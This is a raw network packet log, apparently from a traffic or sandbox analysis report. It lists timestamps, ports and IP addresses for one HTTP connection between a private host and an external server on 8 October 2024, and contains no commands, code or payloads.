Oct 8, 2024 02:45:30.523719072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523730993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523752928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523766994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523787022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523802996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523821115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523828983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523854971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523865938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523890972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523899078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523938894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524272919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524307013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524326086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524338961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524354935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524372101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524384975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524404049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524416924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524436951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524452925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524471045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524485111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524502993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524514914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524538994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524549961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524571896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524585962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524605036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524617910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524636984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524646997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524669886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524683952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524703979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.524715900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.524749994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622442961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622483969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622518063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622543097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622551918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622575998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622575998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622586012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622594118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622620106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622626066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622667074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622685909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622731924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622783899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622816086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622828007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622848988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622879982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622899055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.622934103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622983932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.622984886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623017073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623032093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623049974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623064041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623080969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623092890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623115063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623128891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623148918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623161077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623183966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623193979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623229027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623342991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623374939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623395920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623415947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623430967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623462915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623471975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623495102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623511076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623538017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623608112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623641014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623656988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623673916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623677015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623707056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623713970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623739004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623749971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623771906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623781919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623805046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.623814106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.623847008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624075890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624109030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624125957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624141932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624150038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624175072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624181032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624207973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624217033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624239922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624250889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624272108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624281883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624305010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624315023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624337912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624346972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624370098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624378920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624403000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624412060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624435902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624442101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624469995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624476910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624507904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624516010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624547005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624644995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624677896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624689102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624711990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624721050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624752998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624790907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624823093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624840021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624855042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624861956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624886990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624892950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624929905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.624954939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624986887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.624998093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625019073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625029087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625051975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625061989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625085115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625093937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625118017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625128031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625149965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625158072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625183105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625190020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625216007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625236034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625247955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625262022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625281096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625294924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625313044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625327110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625348091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625359058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625392914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625833988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625868082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625889063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625900030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625911951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625930071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625943899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625962973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.625977039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.625994921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626008034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626028061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626039982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626060009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626071930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626094103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626106024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626126051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626137018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626158953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626171112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626190901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626203060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626223087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626233101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626255989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626266956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626287937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626301050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626322031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626332998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626353979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626365900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626385927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626398087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626418114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626430035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626481056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626710892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626743078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626765966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626775026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626777887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626807928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626816988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626841068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626853943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626873016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626884937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626904964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626914978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626938105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626946926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.626971006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.626983881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627007008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627016068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627057076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627336025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627367973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627399921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627408981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627415895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627449036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627464056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627480984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627492905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627513885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627522945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627549887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627561092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627583981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627595901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627616882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627629042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627649069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627662897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627681971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627693892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627716064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627728939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627748966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627760887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627782106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627794027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627815008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627827883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627847910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627860069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627881050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627892017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627914906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.627924919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.627960920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713066101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713105917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713157892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713188887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713197947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713223934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713232994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713232994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713246107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713264942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713273048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713304996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713310957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713371038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713675976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713721037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713728905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713762999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713772058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713802099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713828087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713861942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713870049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713895082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713902950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713927984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713934898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713958979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.713965893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.713994980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.714066029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.714098930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.714107990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.714133978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.714148045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.714180946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.714185953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.714214087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.714216948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.714246988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.714251995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.714282036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.714284897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.714317083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.715512037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.715564966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.715600967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.715698004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716073990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716108084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716130972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716141939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716164112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716181040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716223001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716264009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716274977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716305017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716319084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716337919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716346979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716371059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716375113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716403961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716408014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716438055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716443062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716473103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716479063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716510057 CEST	51293	80	192.168.2.4	95.164.90.97
